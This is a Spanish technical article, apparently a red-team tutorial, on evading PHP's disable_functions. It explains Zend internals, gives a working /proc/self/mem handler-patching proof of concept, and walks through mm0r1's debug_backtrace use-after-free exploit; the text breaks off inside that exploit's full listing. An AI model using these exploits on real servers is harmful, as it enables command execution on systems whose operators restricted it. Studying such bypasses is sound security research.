Evasión de disable_functions y explotación local en PHP

Dentro del marco de un test de intrusión, o una operación del Red Team, es común comprometer servidores web en los que se despliegan múltiples herramientas (webshells, proxysocks para tunelizar tráfico TCP en HTTP y pivotar, etc.) en forma de scripts. En algunos casos estos servidores pueden estar más o menos bastionados, dificultando en cierto grado poder comprometer los mismos. Una de las configuraciones más comunes que se puede encontrar en entornos PHP es el uso de disable_functions para restringir las funciones que pueden ser usadas en los scripts, de tal forma que se evita hacer uso de funciones «peligrosas» como system(), passthru(), etc. En este artículo analizaremos en profundidad cómo funciona esta directiva de PHP y cómo es posible evadirla.

A modo general, este artículo pretende arrojar luz sobre los siguientes puntos:

  • Explicación de algunos aspectos internos de PHP
  • Automatización de la búsqueda de evasiones no basadas en corrupciones de memoria
  • Búsqueda de vulnerabilidades a través de fuzzing
  • Descripción de las técnicas de explotación

Sobrevolando los internals de PHP y disable_functions

Antes de entrar a explicar cómo encontrar vulnerabilidades, y cómo explotarlas, es necesario en primer lugar entender algunas cuestiones básicas de cómo funciona PHP internamente. En las diferentes secciones se ahondará más en determinados conceptos, pero por ahora veamos cómo funcionan algunos aspectos clave. En primer lugar: funciones.

En PHP encontramos 3 grandes tipos de funciones: las funciones internas, que son las funciones estándar que provee PHP y sus extensiones instaladas (por ejemplo, base64_decode()), y que están compiladas; las funciones definidas por el usuario que son aquellas creadas en el propio script que se está ejecutando (por ejemplo, function minorthreat() {...}); y por último, las funciones anónimas o closures, que son funciones creadas en el script y que no tienen un nombre definido (por ejemplo, $name = function ($band) { printf ("Listen %s!\n", $band); }).

Las funciones internas son declaradas, en general, utilizando macros como PHP_FUNCTION, PHP_NAMED_FUNCTION, etc. y los parámetros que recibirán son definidos también con otras macros: ZEND_PARSE_PARAMETERS_START y ZEND_PARSE_PARAMETERS_END. Por ejemplo, el código fuente de base64_decode[1] es el siguiente:

PHP_FUNCTION(base64_decode)
{
	char *str;
	zend_bool strict = 0;
	size_t str_len;
	zend_string *result;

	ZEND_PARSE_PARAMETERS_START(1, 2)
		Z_PARAM_STRING(str, str_len)
		Z_PARAM_OPTIONAL
		Z_PARAM_BOOL(strict)
	ZEND_PARSE_PARAMETERS_END();

	result = php_base64_decode_ex((unsigned char*)str, str_len, strict);
	if (result != NULL) {
		RETURN_STR(result);
	} else {
		RETURN_FALSE;
	} 

Viendo el código fuente se puede observar cómo los parámetros que recibe esta función son definidos, a su vez, por otras macros dependiendo del tipo. En este caso la función espera un parámetro obligatorio de tipo string y uno opcional boolean. Una vez el código es compilado encontraremos que estas funciones aparecen en los símbolos precedidas del prefijo zif_, que es el acrónimo de «Zend Internal Function»:

ᐓ   objdump -t /usr/local/bin/php | grep "zif_" | tail
0000000000f65e80 g     F .text	00000000000023e3  zif_fgets
0000000000f6be70 g     F .text	00000000000018c0  zif_fwrite
0000000000f69150 g     F .text	0000000000001cca  zif_fgetss
0000000000f7f5f0 g     F .text	0000000000001564  zif_fread
00000000015a10c0 g     F .text	0000000000000031  zif_display_disabled_function
0000000000f6e130 g     F .text	00000000000009f3  zif_rewind
0000000000f6eb30 g     F .text	0000000000000a3a  zif_ftell
0000000000f6f570 g     F .text	0000000000001428  zif_fseek
0000000000f35160 g     F .text	0000000000000c4e  zif_dl
0000000000f6d730 g     F .text	00000000000009f5  zif_fflush

Las funciones internas son registradas en el motor Zend utilizando la estructura zend_function_entry, cuya definición es:

typedef struct _zend_function_entry {
    const char *fname;
    void (*handler)(INTERNAL_FUNCTION_PARAMETERS);
    const struct _zend_internal_arg_info *arg_info;
    uint32_t num_args;
    uint32_t flags;
} zend_function_entry;

Destacan en esta estructura los dos primeros miembros, pues éstos hacen referencia al nombre que tendrá la función y al handler de la misma (es decir, en el caso de la función strstr() tendremos que el primer miembro será un puntero a la cadena strstr y el segundo un puntero a la función zif_strstr). Las funciones «básicas» se agrupan en basic_functions para su registro, siendo éste un array de estructuras zend_function_entry[2]. Por lo tanto, en este basic_functions tendremos, en última instancia, una relación ordenada de nombres de funciones junto con el puntero a las mismas (handlers).

Tanto las funciones internas como las definidas por el usuario son registradas en el motor Zend utilizando una HashTable llamada function_table. Cuando un script PHP hace una llamada a una función, el handler de ésta es buscado en esta HashTable. En este ámbito será en el que actúe la directiva disable_functions.

Esta directiva marca la aplicación de la función zend_disable_function sobre aquellas funciones de la function_table para la cual se ha definido.

ZEND_API int zend_disable_function(char *function_name, size_t function_name_length) 
{
	zend_internal_function *func;
	if ((func = zend_hash_str_find_ptr(CG(function_table), function_name, function_name_length))) {
		zend_free_internal_arg_info(func);
		func->fn_flags &= ~(ZEND_ACC_VARIADIC | ZEND_ACC_HAS_TYPE_HINTS | ZEND_ACC_HAS_RETURN_TYPE);
		func->num_args = 0;
		func->arg_info = NULL;
		func->handler = ZEND_FN(display_disabled_function);
		return SUCCESS;
	}
	return FAILURE;
}

Como se puede observar en el código, zend_disable_function se encarga de buscar en la HashTable la función objetivo y cambiar el handler original por el de la función display_disabled_function:

ZEND_API ZEND_COLD ZEND_FUNCTION(display_disabled_function)
{
	zend_error(E_WARNING, "%s() has been disabled for security reasons", get_active_function_name());
}

Por lo tanto, cuando desde un script PHP se llame a una función deshabilitada en vez de ejecutarse la función original se ejecutará la que muestra el mensaje de error. Es decir, disable_functions sólo afecta a nivel de la function_table: si encuentras el handler original, puedes revertir su efecto parcheando la function_table o llamando directamente a la función. A continuación profundizaremos más sobre estos conceptos.

Preparando el combate: sparring con php-cli y autoparcheo de /proc/self/mem

Para poner en relación todos los conceptos que acabamos de ver en la sección anterior, y con un enfoque práctico de cara a la posterior explotación de vulnerabilidades, veamos cómo se debería de trabajar con la memoria del proceso para poder realizar la evasión de disable_functions. En un exploit todos los pasos que nosotros vamos a realizar aquí deberán de hacerse con primitivas de lectura y escritura arbitraria (por ejemplo, las direcciones del heap o el binario tendríamos que filtrarlas). Huelga decir que esta ténica no debería de funcionar en un ningún servidor web moderno (aunque es cierto que esta técnica ha sido usada en el pasado[3], por eso php-cli es sólo nuestro sparring de entrenamiento antes de saltar a un exploit de verdad). Si al final de esta sección has entendido todo, tienes gran parte ganada.

Nota: para esta sección estamos utilizando PHP 7.3 instalado en un Debian 10 utilizando apt-get install (PHP 7.3.14-1~deb10u1 (cli) (built: Feb 16 2020 15:07:23) ( NTS ))

Nuestra hoja de ruta es bastante sencilla:

  1. Localizar las direcciones donde están mapeadas las secciones del binario y el heap.
  2. Buscar en el código el handler de zif_system y el de otra función que reciba como parámetro un string (por ejemplo, zif_ucfirst).
  3. Localizar la function_table en el heap y sustituir en la entrada de la función ucfirst() su handler por el de zif_system.
  4. Llamar a ucfirst() con un comando del sistema como parámetro (de la misma forma que se haría con system()).

Para el primer paso podemos parsear directamente la entradas de /proc/self/maps (en la siguiente sección veremos cómo esta información se obtendría en un exploit real). Una tosca aproximación podría ser la siguiente:

function memmaps() {
    print "[+] Parsing mapped memory regions:\n";
    $targets = Array();
    $raw_map = explode(PHP_EOL,file_get_contents("/proc/self/maps"));
    $check = 0;
    foreach ($raw_map as $line) {
        if (substr($line,-7) == "/php7.3" && $check == 0) {
            if (strpos($line, "r--p") !== false) {
                $range = explode(" ", $line);
                $split_range = explode("-", $range[0]);
                $targets["bin_start"] = hexdec($split_range[0]);
                $targets["bin_end"] = hexdec($split_range[1]);
                $check = 1;
            }
        }
        if (substr($line, -6) == "[heap]") {
            $range = explode(" ", $line);
            $split_range = explode("-", $range[0]);
            $targets["heap_start"] = hexdec($split_range[0]);
            $targets["heap_end"] = hexdec($split_range[1]);
        }
    }
    print "\t[-] Binary: 0x" . dechex($targets["bin_start"]) . "-0x" . dechex($targets["bin_end"]) . "\n";
    print "\t[-] Heap: 0x" . dechex($targets["heap_start"]) . "-0x" . dechex($targets["heap_end"]) . "\n";
    return $targets;
 }

Necesitaremos también un par de funciones auxiliares para poder trabajar con la memoria «cruda» del proceso. Utilizaremos una combinación de fseek() y fread() para realizar lecturas arbitrarias en las direcciones de memoria deseadas:

function getdata($fd, $address, $size) {
    fseek($fd, $address);
    $data = fread($fd, $size);
    return $data;
}

function trans1($value) {
    return hexdec(bin2hex(strrev($value)));
}

function trans2($value) {
    return strrev(hex2bin(dechex($value)));
}  

Habiendo extraído la dirección base (con nuestro memmaps()), se puede parsear la cabecera ELF para obtener la información del rango de memoria donde buscar el array basic_functions:

function parse_elf($base) { // https://wiki.osdev.org/ELF_Tutorial
    $parsed = Array();
    $fd = fopen("/proc/self/mem", "rb");
    $parsed["type"] = getdata($fd, $base + 0x10, 1);
    $parsed["phoff"] = getdata($fd, $base + 0x20, 8);
    $parsed["phentsize"] = getdata($fd, $base + 0x36, 2);
    $parsed["phnum"] = getdata($fd, $base + 0x38, 2);

    for ($i = 0; $i < trans1($parsed["phnum"]); $i++) {
        $header = $base + trans1($parsed["phoff"]) + $i * trans1($parsed["phentsize"]);
        $parsed["ptype"] = getdata($fd, $header, 4);
        $parsed["pflags"] = getdata($fd, $header + 0x4, 4);
        $parsed["pvaddr"] = getdata($fd, $header + 0x10, 8);
        $parsed["pmemsz"] = getdata($fd, $header + 0x28, 8);
        if (trans1($parsed["ptype"]) == 1 && trans1($parsed["pflags"]) == 6) {
            $parsed["data_addr"] = trans1($parsed["type"]) == 2 ? trans1($parsed["pvaddr"]) : $base + trans1($parsed["pvaddr"]);
            $parsed["data_size"] = trans1($parsed["pmemsz"]);
        } else if (trans1($parsed["ptype"]) == 1 && trans1($parsed["pflags"]) == 5) {
            $parsed["text_size"] = trans1($parsed["pmemsz"]);
        }
    }
    return $parsed;
}

En la sección anterior se vió que este array estaba compuesto por estrcuturas zend_function_entry, y que los dos primeros miembros son punteros al nombre de la función y al handler. Por lo tanto, si queremos localizar los punteros a zif_ucfirst y zif_system podemos extraer de manera secuencial bloques de 8 bytes, comprobar si este valor pudiera ser una dirección de memoria válida y leer 8 bytes en esa dirección: si estos bytes se corresponden con el nombre de la función significará que la posición donde se encontró esa dirección de memoria se corresponde con el campo *fname de la estructura zend_function_entry y por lo tanto, el campo que contiene el handler objetivo estará 8 bytes después.

Buscando handlers

Este mismo procedimiento se ejecutaría para localizar la entrada de la función escapeshellcmd() (nuestro zif_system está a una distancia de 0x20 de ésta[4]):

function get_handlers($base, $data_addr, $text_size, $data_size) {
    print "[+] Searching for handlers in basic_functions:\n";
    $handlers = Array();
    $fd = fopen("/proc/self/mem", "rb");
    for ($i = 0; $i < $data_size / 8; $i++) {
        $test = trans1(getdata($fd, $data_addr + $i * 0x8, 8));
        if ($test - $base > 0 && $test - $base < $data_addr - $base) {
            $fname = getdata($fd, $test, 8);
            if (trans1($fname) == 0x74737269666375) { // ucfirst() ==> python -c 'a = "ucfirst"; print "0x" + a[::-1].encode("hex")'
                $handlers["ucfirst"] = trans1(getdata($fd, $data_addr + $i * 0x8 + 8, 8));
                print "\t[-] zif_ucfirst found at 0x" . dechex($handlers["ucfirst"]) . "\n";
                continue;
            } else if (trans1($fname) == 0x6873657061637365) { // escapeshellcmd() ==> python -c 'a = "escapesh"; print "0x" + a[::-1].encode("hex")'
                $handlers["system"] = trans1(getdata($fd, $data_addr + $i * 0x8 + 8 - 0x20, 8));
                print "\t[-] zif_system found at 0x" . dechex($handlers["system"]) . "\n";
                return $handlers;
            }
        }
    }
 }

En este punto conocemos la localización de zif_ucfirst, por lo que sólo resta escanear el heap en busca de esta dirección (se encontrará en la function_table) y sustituirla por la de zif_system:

function scan_and_patch($base, $final, $old, $new) {
    print "[+] Scanning the heap to locate the function_table\n";
    $fd = fopen("/proc/self/mem", "r+b");
    for ($i = 0; $i < ($final - $base) / 8; $i++) {
        $test = trans1(getdata($fd, $base + $i * 0x8, 8));
        if ($test == $old) {
            print "\t[-] zif_ucfirst referenced at 0x" . dechex($base + $i * 0x8) ."\n";
            fseek($fd, $base + $i * 0x8);
            print "[+] Patching ucfirst() with zif_system handler\n";
            fwrite($fd,trans2($new));
            return;
        }
    }
} 

Después de haber modificado la function_table de esta forma, cuando se llame a ucfirst() en realidad se estará invocando system().

ᐓ   php7.3 -d "disable_functions=system" disable_functions_PoC.php
    -=[ Bypassing disable_functions when open_basedir is misconfigured (PoC by @TheXC3LL) ]=-

[+] Parsing mapped memory regions:
        [-] Binary: 0x563eafc2e000-0x563eafd08000
        [-] Heap: 0x563eb1123000-0x563eb12a3000
[+] Searching for handlers in basic_functions:
        [-] zif_ucfirst found at 0x563eafe44220
        [-] zif_system found at 0x563eafe15b50
[+] Scanning the heap to locate the function_table
        [-] zif_ucfirst referenced at 0x563eb1173c70
[+] Patching ucfirst() with zif_system handler
[+] Calling ucfirst('uname -a')...

Linux insulaservus 4.19.0-8-amd64 #1 SMP Debian 4.19.98-1 (2020-01-26) x86_64 GNU/Linux

Si llegados a este punto todos los conceptos explicados quedan claros, podemos empezar a batallar con vulnerabilidades reales para crear nuestros exploits.

Combate peso mosca: explotando un use-after-free en debug_trace()

Cada vulnerabilidad es un mundo, y su explotación puede diferir bastante entre una y otra. Así mismo, la dificultad y problemáticas a solventar son distintas en cada caso. No obstante, en esta sección vamos a proceder al análisis y explotación de una vulnerabilidad bastante sencilla, pero que nos permitirá poner en práctica diferentes conceptos vistos en las secciones anteriores. Analizaremos y reconstruiremos un exploit de mm0r1 para un use-after-free en debug_backtrace()[5].

Nota: en esta sección utilizaremos PHP 7.2.11 compilado con símbolos y sin optimizaciones. PHP 7.2.11 (cli) (built: Mar 4 2020 15:11:35) ( NTS )

./configure  CFLAGS="-O0 -g"
make -j$(nproc)
sudo make install

El script explota una vulnerabilidad reportada años atrás[6]. En el hilo del bugtracker se añade un pequeño ejemplo que dispara el problema:

<?php

class Vuln {
    public $a;
    public function __destruct() {
        global $backtrace;
        unset($this->a);
        $backtrace = (new Exception)->getTrace();
    }
}

function trigger_uaf($arg) {
    $arg = str_shuffle(str_repeat('A', 79));
    $vuln = new Vuln();
    $vuln->a = $arg;
}

trigger_uaf('x');
?>

Podemos identificar la existencia de un use-after-free (UAF) utilizando valgrind[7] (ejecutar export USE_ZEND_ALLOC=0 previamente):

==60628== Invalid write of size 4
==60628==    at 0x788F78: zval_addref_p (zend_types.h:892)
==60628==    by 0x788F78: debug_backtrace_get_args (zend_builtin_functions.c:2157)
==60628==    by 0x78A6AF: zend_fetch_debug_backtrace (zend_builtin_functions.c:2550)
==60628==    by 0x792478: zend_default_exception_new_ex (zend_exceptions.c:216)
==60628==    by 0x7927E0: zend_default_exception_new (zend_exceptions.c:244)
==60628==    by 0x7566CE: _object_and_properties_init (zend_API.c:1332)
==60628==    by 0x756712: _object_init_ex (zend_API.c:1340)
==60628==    by 0x7F4D9E: ZEND_NEW_SPEC_CONST_HANDLER (zend_vm_execute.h:3231)
==60628==    by 0x8EEEFB: execute_ex (zend_vm_execute.h:59945)
==60628==    by 0x72F9A4: zend_call_function (zend_execute_API.c:820)
==60628==    by 0x78FA01: zend_call_method (zend_interfaces.c:100)
==60628==    by 0x7C4140: zend_objects_destroy_object (zend_objects.c:146)
==60628==    by 0x7CD40D: zend_objects_store_del (zend_objects_API.c:173)
==60628==  Address 0x737adc0 is 0 bytes inside a block of size 104 free'd
==60628==    at 0x48369AB: free (vg_replace_malloc.c:530)
==60628==    by 0x70A0AE: _efree (zend_alloc.c:2444)
==60628==    by 0x74AEB5: zend_string_free (zend_string.h:283)
==60628==    by 0x74AEB5: _zval_dtor_func (zend_variables.c:38)
==60628==    by 0x72DAD6: i_zval_ptr_dtor (zend_variables.h:49)
==60628==    by 0x72DAD6: _zval_ptr_dtor (zend_execute_API.c:533)
==60628==    by 0x7C9D8C: zend_std_unset_property (zend_object_handlers.c:976)
==60628==    by 0x86B3D6: ZEND_UNSET_OBJ_SPEC_UNUSED_CONST_HANDLER (zend_vm_execute.h:28570)
==60628==    by 0x8F5B05: execute_ex (zend_vm_execute.h:61688)
==60628==    by 0x72F9A4: zend_call_function (zend_execute_API.c:820)
==60628==    by 0x78FA01: zend_call_method (zend_interfaces.c:100)
==60628==    by 0x7C4140: zend_objects_destroy_object (zend_objects.c:146)
==60628==    by 0x7CD40D: zend_objects_store_del (zend_objects_API.c:173)
==60628==    by 0x74AF10: _zval_dtor_func (zend_variables.c:56)
==60628==  Block was alloc'd at
==60628==    at 0x483577F: malloc (vg_replace_malloc.c:299)
==60628==    by 0x70AF88: __zend_malloc (zend_alloc.c:2829)
==60628==    by 0x709E47: _emalloc (zend_alloc.c:2429)
==60628==    by 0x62ABAC: zend_string_alloc (zend_string.h:134)
==60628==    by 0x62ABAC: zend_string_init (zend_string.h:170)
==60628==    by 0x62ABAC: zif_str_shuffle (string.c:5489)
==60628==    by 0x8E91EE: ZEND_DO_ICALL_SPEC_RETVAL_USED_HANDLER (zend_vm_execute.h:617)
==60628==    by 0x8E91EE: execute_ex (zend_vm_execute.h:59750)
==60628==    by 0x900092: zend_execute (zend_vm_execute.h:63776)
==60628==    by 0x750AE8: zend_execute_scripts (zend.c:1496)
==60628==    by 0x69FC9C: php_execute_script (main.c:2590)
==60628==    by 0x903608: do_cli (php_cli.c:1011)
==60628==    by 0x9047D8: main (php_cli.c:1404)

Confirmar la explotabilidad de esta vulnerabilidad es trivial:

<?php
function pwn() {
    global $canary, $backtrace;

    class Vuln {
        public $a;
        public function __destruct() {
            global $backtrace;
            unset($this->a);
            $backtrace = (new Exception)->getTrace();
        }
    }

    function trigger_uaf($arg) {
        $arg = str_shuffle(str_repeat('A', 60));
        $vuln = new Vuln();
        $vuln->a = $arg;
    }

    $contiguous = [];
    for ($i = 0; $i < $n_alloc; $i++) {
        $contiguous[] = str_shuffle(str_repeat('A', 60));
    }
    trigger_uaf('x');
    $canary = $backtrace[1]['args'][0];
    $dummy = str_shuffle(str_repeat('B', 60));
    print $canary; // It will print BBB...BBBB
}

pwn();
?> 

Con el ejemplo anterior vemos cómo al imprimir la variable canary obtenemos en realidad el contenido de la variable dummy. Si en vez de sustuir el hueco dejado con una cadena del mismo tamaño lo hacemos con un objeto deberíamos de poder ver la representación en memoria del mismo:

<?php
function pwn() {
    global $canary, $backtrace, $helper;
    class Vuln {
        public $a;
        public function __destruct() {
            global $backtrace;
            unset($this->a);
            $backtrace = (new Exception)->getTrace();
        }
    }

    function trigger_uaf($arg) {
        $arg = str_shuffle(str_repeat('A', 79));
        $vuln = new Vuln();
        $vuln->a = $arg;
    }

    class Helper {
        public $a;
    }

    $contiguous = [];
    for ($i = 0; $i < $n_alloc; $i++) {
        $contiguous[] = str_shuffle(str_repeat('A', 79));
    }

    trigger_uaf('x');
    $canary = $backtrace[1]['args'][0];
    $helper = new Helper;
    $helper->a = function ($x) {};
    print $canary;
}

pwn();
?>

Sin embargo, vemos una cadena normal:

ᐓ   /usr/local/bin/php uaf.php
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Si en vez de utilizar print utilizamos debug_zval_dump podemos ver cómo el campo refcount posee un valor erróneo:

ᐓ   /usr/local/bin/php uaf.php
string(79) "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" refcount(3979578963) 

En PHP 7 las cadenas son representadas utilizando la estructura zend_string[8]. La estructura guarda la cadena en sí misma como un conjunto de char en vez de como un puntero[9]:

struct _zend_string {
    zend_refcounted_h gc;
    zend_ulong h;
    size_t len;
    char val[1]; // NOT A "char *"
};

A su vez, las variables en el motor Zend son denominadas zval y su valor se encuentra contenido en la siguiente estructura[10]:

typedef union _zend_value {
    zend_long lval;
    double dval;
    zend_refcounted  *counted;
    zend_string *str;
    zend_array *arr;
    zend_object *obj;
    zend_resource *res;
    zend_reference *ref;
    zend_ast_ref *ast;
    zval *zv;
    void *ptr;
    zend_class_entry *ce;
    zend_function *func;
    struct {
        uint32_t w1;
        uint32_t w2;
    } ww;
} zend_value;

Conociendo toda esta información, y cuadrando los tamaños del objeto (número de propiedades) podemos conseguir filtrar memoria en un string:

<?php
function pwn() {
    global $canary, $backtrace, $helper;
    class Vuln {
        public $a;
        public function __destruct() {
            global $backtrace;
            unset($this->a);
            $backtrace = (new Exception)->getTrace();
        }
    }

    function trigger_uaf($arg) {
        $arg = str_shuffle(str_repeat('A', 79));
        $vuln = new Vuln();
        $vuln->a = $arg;
    }

    class Helper {
        public $a, $b, $c, $d;
    }

    $contiguous = [];
    for ($i = 0; $i < $n_alloc; $i++) {
        $contiguous[] = str_shuffle(str_repeat('A', 79));
    }
    trigger_uaf('x');
    $canary = $backtrace[1]['args'][0];
    $helper = new Helper;
    $helper->b = function ($x) {};
    $address = $canary[0].$canary[1].$canary[2].$canary[3].$canary[4].$canary[5].$canary[6].$canary[7];
    print "0x" . bin2hex(strrev($address));
    var_dump();
}

pwn();
?>

Ejecutamos:

ᐓ   /usr/local/bin/php uaf.php
0x00005555564ac2a0

Podemos comprobar que este valor se corresponde con la dirección de memoria de std_object_handlers[12]:

pwndbg> x/x  0x00005555564ac2a0
0x5555564ac2a0 <std_object_handlers>:   0x00000000

Ahora mismo disponemos de escritura y lectura arbitrarias relativas (interpretando nuestro $canary como una cadena de caracteres podemos acceder a bytes como si de un array se tratase con $canary[x]), necesitamos conseguir lectura arbitraria absoluta (es decir, conseguir leer el contenido de cualquier dirección de memoria válida). Podemos utilizar una de las propiedades del objeto $helper para estos menesteres. Pongamos un breakpoint en var_dump() y procedamos con el siguiente ejemplo:

<?php
function pwn() {
    global $canary, $backtrace, $helper;
    
    class Vuln {
        public $a;
        public function __destruct() {
            global $backtrace;
            unset($this->a);
            $backtrace = (new Exception)->getTrace();
        }
    }

    function trigger_uaf($arg) {
        $arg = str_shuffle(str_repeat('A', 79));
        $vuln = new Vuln();
        $vuln->a = $arg;
    }

    class Helper {
            public $a, $b, $c, $d;
    }

    $contiguous = [];
    for ($i = 0; $i < $n_alloc; $i++) {
        $contiguous[] = str_shuffle(str_repeat('A', 79));
    }
    trigger_uaf('x');

    $canary = $backtrace[1]['args'][0];
    $helper = new Helper;
    $helper->b = function ($x) {};
    $helper->a = "KKKK";
    var_dump($helper->a);
}

pwn();
?>

Si miramos la memoria tiene el siguiente aspecto:

pwndbg> x/g args                                                                                                                                                                           │
0x555556637fb8: 0x0000555556638d00
pwndbg> x/40x 0x0000555556638d00
0x555556638d00: 0xc001800800000001      0x0000000000000001
0x555556638d10: 0x00005555566169f0      0x00005555564ac2a0
0x555556638d20: 0x0000000000000000      0x0000555556635d10 <--- Pointer to zend_string
0x555556638d30: 0x4141414100000006      0x000055555660c490
0x555556638d40: 0x4141414100000408      0x0000000000000020
0x555556638d50: 0x4141414100000001      0x0000000000000020
0x555556638d60: 0x0041414100000001      0x0000000000000021
0x555556638d70: 0x0000555556616fe8      0x0000000000000000
0x555556638d80: 0x0000000000000000      0x0000000000000021
0x555556638d90: 0x00000008000000c0      0x00007fff0000000c
0x555556638da0: 0x0000000000000000      0x0000000000000041
0x555556638db0: 0x0000800700000002      0xfffffffe00000012
0x555556638dc0: 0x00005555563582c0      0x0000000000000000
0x555556638dd0: 0xffffffff00000008      0x0000000000000000
0x555556638de0: 0x0000555555b79a7d      0x0000000000000031
0x555556638df0: 0x0000000000000000      0x00005555564e2010
0x555556638e00: 0x0000000000000006      0x00007265706c6568
0x555556638e10: 0x0000000000000000      0x0000000000000021
0x555556638e20: 0x00007fff00000002      0x00007ffff7c05ca0
0x555556638e30: 0x0000000000000000      0x0000000000000051

Podemos observar que 0x0000555556635d10 es el puntero a la estructura zend_string que contiene el «KKKK»:

pwndbg> x/4g 0x0000555556635d10
0x555556635d10: 0x0000020600000000      0x800000017c8778f1
0x555556635d20: 0x0000000000000004      0x000000004b4b4b4b <-- "KKKK"

O, viendolo en el contexto de la estructura:

pwndbg> print (zend_string) *0x0000555556635d10
$42 = {
  gc = {
    refcount = 0,
    u = {
      v = {
        type = 6 '\006',
        flags = 2 '\002',
        gc_info = 0
      },
      type_info = 518
    }
  },
  h = 9223372043238996209,
  len = 4,
  val = "K"
}

Si, con nuestra escritura relativa, hacemos que el puntero a esa estructura zend_string apunte a una dirección de memoria válida, vamos a poder filtrar su contenido. Probemos a cambiar ese puntero por otro que apunte a una dirección válida (sacada con el debugger para hacer la prueba):

<?php
function pwn() {
    global $canary, $backtrace, $helper;
    class Vuln {
        public $a;
        public function __destruct() {
            global $backtrace;
            unset($this->a);
            $backtrace = (new Exception)->getTrace();
        }
    }

    function trigger_uaf($arg) {
        $arg = str_shuffle(str_repeat('A', 79));
        $vuln = new Vuln();
        $vuln->a = $arg;
    }

    class Helper {
            public $a, $b, $c, $d;
    } 

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for ($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for ($i = 0; $i < $n; $i++) {
            $str[$p + $i] = chr($v & 0xff);
            $v >>= 8;
        }
    }

    $contiguous = [];
    for ($i = 0; $i < $n_alloc; $i++) {
        $contiguous[] = str_shuffle(str_repeat('A', 79));
    }
    trigger_uaf('x');

    $canary = $backtrace[1]['args'][0];
    $helper = new Helper;
    $helper->b = function ($x) {};

    $php_heap = str2ptr($canary, 0x58);
    $canary_addr = $php_heap - 0xc8;
 
    write($canary, 0x60, 2);
    write($canary, 0x70, 6);
    write($canary, 0x10, hexdec("555556616f80")); // Random valid address to use as test

    write($canary, 0x18, 0xa);
    var_dump($helper->a);
}

pwn();
?>

Efectivamente ahora apunta a la dirección que le hemos indicado:

pwndbg> x/40x 0x0000555556638e20
0x555556638e20: 0xc001800800000001      0x0000000000000000
0x555556638e30: 0x00005555566169f0      0x00005555564ac2a0
0x555556638e40: 0x0000000000000000      0x0000555556616f80 <-- Pointer used as test
0x555556638e50: 0x000000000000000a      0x00005555566364e0
0x555556638e60: 0x4141414100000408      0x0000000000000020
0x555556638e70: 0x4141414100000001      0x0000000000000020
0x555556638e80: 0x0041414100000001      0x0000000000000021
0x555556638e90: 0x0000555556616fe8      0x0000000000000002
0x555556638ea0: 0x0000000000000000      0x0000000000000006
0x555556638eb0: 0x00000008000000c0      0x00007fff0000000c
0x555556638ec0: 0x0000000000000000      0x0000000000000041
0x555556638ed0: 0x0000800700000002      0xfffffffe00000012
0x555556638ee0: 0x00005555563582c0      0x0000000000000000
0x555556638ef0: 0xffffffff00000008      0x0000000000000000
0x555556638f00: 0x0000555555b79a7d      0x0000000000000031
0x555556638f10: 0x0000000000000000      0x00005555564e2010
0x555556638f20: 0x0000000000000006      0x00007265706c6568
0x555556638f30: 0x0000000000000000      0x0000000000000021
0x555556638f40: 0x00007fff00000002      0x00007ffff7c05ca0
0x555556638f50: 0x0000000000000000      0x0000000000000051

Al interpretarse como zend_string esta zona de memoria filtrará información (podemos, por ejemplo, hacer un strlen($helper->a)):

pwndbg> x/4g 0x0000555556616f80
0x555556616f80: 0x000055555662c04f      0x0000003d0000003d
0x555556616f90: 0x0000000000000000      0x00000001ffffffff

pwndbg> print (zend_string) *0x0000555556616f80
$43 = {
  gc = {
    refcount = 1449312335,
    u = {
      v = {
        type = 85 'U',
        flags = 85 'U',
        gc_info = 0
      },
      type_info = 21845
    }
  },
  h = 261993005117,
  len = 8589934591, <--- 0x00000001ffffffff
  val = "\377"
}

Con esta capacidad de filtrar contenido arbitrario es posible repetir el mismo procedimiento seguido en la sección anterior para poder identificar el handler de zif_system. En vez de parchear el handler de una función interna en la function_table, se opta por reutilizar la función anónima creada ($helper->b()). Las funciones anónimas o closures tienen la siguiente estructura:

typedef struct _zend_closure {
    zend_object std;
    zend_function func;
    zval this_ptr;
    zend_class_entry *called_scope;
    zif_handler orig_internal_handler;
} zend_closure;

Dentro del campo func (que es un zend_function) encontramos una estructura zend_internal_function[13]

typedef struct _zend_internal_function {
    /* Common elements */
    zend_uchar type;
    zend_uchar arg_flags[3]; /* bitset of arg_info.pass_by_reference */
    uint32_t fn_flags;
    zend_string* function_name;
    zend_class_entry *scope;
    zend_function *prototype;
    uint32_t num_args;
    uint32_t required_num_args;
    zend_internal_arg_info *arg_info;
    /* END of common elements */

    zif_handler handler;
    struct _zend_module_entry *module;
    void *reserved[ZEND_MAX_RESERVED_RESOURCES];
} zend_internal_function;

Que, viendolo en gdb, se ve tal que así:

$3 = {
  type = 2 '\002',
  arg_flags = "\000\000",
  fn_flags = 135266304,
  function_name = 0x7ffff3801d70,
  scope = 0x0,
  prototype = 0x7ffff38652c0,
  num_args = 1,
  required_num_args = 1,
  arg_info = 0x7ffff387c0f0,
  handler = 0x7ffff3879068,
  module = 0x2,
  reserved = {0x7ffff3873280, 0x1, 0x7ffff3879070, 0x0, 0x0, 0x0}
}

Sobrescribiendo el campo handler por el handler de zif_system (y el campo type por 1 para hacer referencia que es una función interna y no una creada por el usuario), se conseguiría llamar a la función system. El exploit completo de mm0r1 queda así:

<?php

# PHP 7.0-7.4 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=76047
# debug_backtrace() returns a reference to a variable
# that has been destroyed, causing a UAF vulnerability.
#
# This exploit should work on all PHP 7.0-7.4 versions
# released as of 30/01/2020.
#
# Author: https://github.com/mm0r1

pwn("uname -a");

function pwn($cmd) {
    global $abc, $helper, $backtrace;

    class Vuln {
        public $a;
        public function __destruct() {
            global $backtrace;
            unset($this->a);
            $backtrace = (new Exception)->getTrace(); # ;)
            if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
                $backtrace = debug_backtrace();
            }
        }
    }

    class Helper {
        public $a, $b, $c, $d;
    }

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for ($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
